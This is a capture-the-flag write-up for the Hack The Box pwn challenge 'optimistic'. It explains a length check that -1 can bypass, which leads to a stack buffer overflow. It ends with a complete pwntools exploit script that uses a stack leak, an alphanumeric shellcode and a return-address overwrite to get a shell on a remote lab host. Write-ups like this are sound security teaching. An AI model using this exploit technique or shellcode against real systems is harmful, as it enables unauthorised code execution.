HTB [OPTIMISTIC] [PWN]


#pwn#htb

optimistic

Challenge description:

Are you ready to feel positive?

Analysis:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
  • NX disabled ,Seems like here also we need to execute the shellcode

  • If we enter ‘y’ then we can able to get a stack leak
  • And there are few more input prompts, let’s see that one by one

Decompile main()

void main(void)

{
  int iVar1;
  ssize_t sVar2;
  uint local_84;
  undefined4 local_80;
  undefined2 local_7c;
  char option;
  undefined local_79;
  undefined auStack120 [8];
  undefined auStack112 [8];
  char local_68 [96];
  
  initialize();
  puts("Welcome to the positive community!");
  puts("We help you embrace optimism.");
  printf("Would you like to enroll yourself? (y/n): ");
  iVar1 = getchar();
  option = (char)iVar1;
  getchar();
  if (option != 'y') {
    puts("Too bad, see you next time :(");
    local_79 = 0x6e;
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  printf("Great! Here\'s a small welcome gift: %p\n",&stack0xfffffffffffffff8);
  puts("Please provide your details.");
  printf("Email: ");
  sVar2 = read(0,auStack120,8);
  local_7c = (undefined2)sVar2;
  printf("Age: ");
  sVar2 = read(0,auStack112,8);
  local_80 = (undefined4)sVar2;
  printf("Length of name: ");
  __isoc99_scanf(&DAT_00102104,&local_84);
  if (0x40 < (int)local_84) {
    puts("Woah there! You shouldn\'t be too optimistic.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  printf("Name: ");
  sVar2 = read(0,local_68,(ulong)local_84);
  local_84 = 0;
  while( true ) {
    if ((int)sVar2 + -9 <= (int)local_84) {
      puts("Thank you! We\'ll be in touch soon.");
      return;
    }
    iVar1 = isalpha((int)local_68[(int)local_84]);
    if ((iVar1 == 0) && (9 < (int)local_68[(int)local_84] - 0x30U)) break;
    local_84 = local_84 + 1;
  }
  puts("Sorry, that\'s an invalid name.");
                    /* WARNING: Subroutine does not return */
  exit(0);
}
  • Email & age seems safe
  • But there’s a length input
  • We can enter the size of the length that gonna get input from us after few lines
  • But there’s a condition check, we can’t give more than 0x40 bytes
  • If we do that program will exit

  • Here we need to notice that the length input is an unsigned integer, so there’s a integer overflow here
  • Challenge’s description also denotes that
  • If we give -1 as input then we can able to change that value into a largest possible unsigned integer
  • Now we can able to do buffer overflow

Exploitation part:

  • Simply generate a pattern and find the offset to RIP
  • RIP offset => 104
  • But there’s a problem
  while( true ) {
    if ((int)sVar2 + -9 <= (int)local_84) {
      puts("Thank you! We\'ll be in touch soon.");
      return;
    }
    iVar1 = isalpha((int)local_68[(int)local_84]);
    if ((iVar1 == 0) && (9 < (int)local_68[(int)local_84] - 0x30U)) break;
    local_84 = local_84 + 1;
  }
  • There’s a check here, our payload need to be larger than 57 Ascii value
  • Which means we need only alpha numeric chars
  • Let’s search for alphanumeric shellcode
  • This one looks good click here
  • So our full exploit be like
  • Also remember we need to subtract 96 from the stack leak, our buffer starts before 96 bytes from the leak

Exploit script:

#!/usr/bin/python3
from pwn import *

elf = context.binary = ELF("optimistic",checksec=False)
p = elf.process()
p = remote('188.166.172.138',30591)


# getting leak
p.sendlineafter('y/n): ','y')
p.recvuntil('gift: ')
stack_leak = int(p.recvline().decode(),16)

# filling rest
p.sendlineafter('Email: ','jo')
p.sendlineafter('Age: ','19')
p.sendlineafter('name: ','-1')

# crafting payload
payload = b'XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V'
payload += b'A'*(104 - len(payload)) # junk
payload += p64(stack_leak-96) # stack base

# sending exploit & getting shell
p.sendlineafter('Name: ',payload)
p.interactive()

  • Cool it worked!

Hack The Box

It would be appreciated if you give me a respect+ on HTB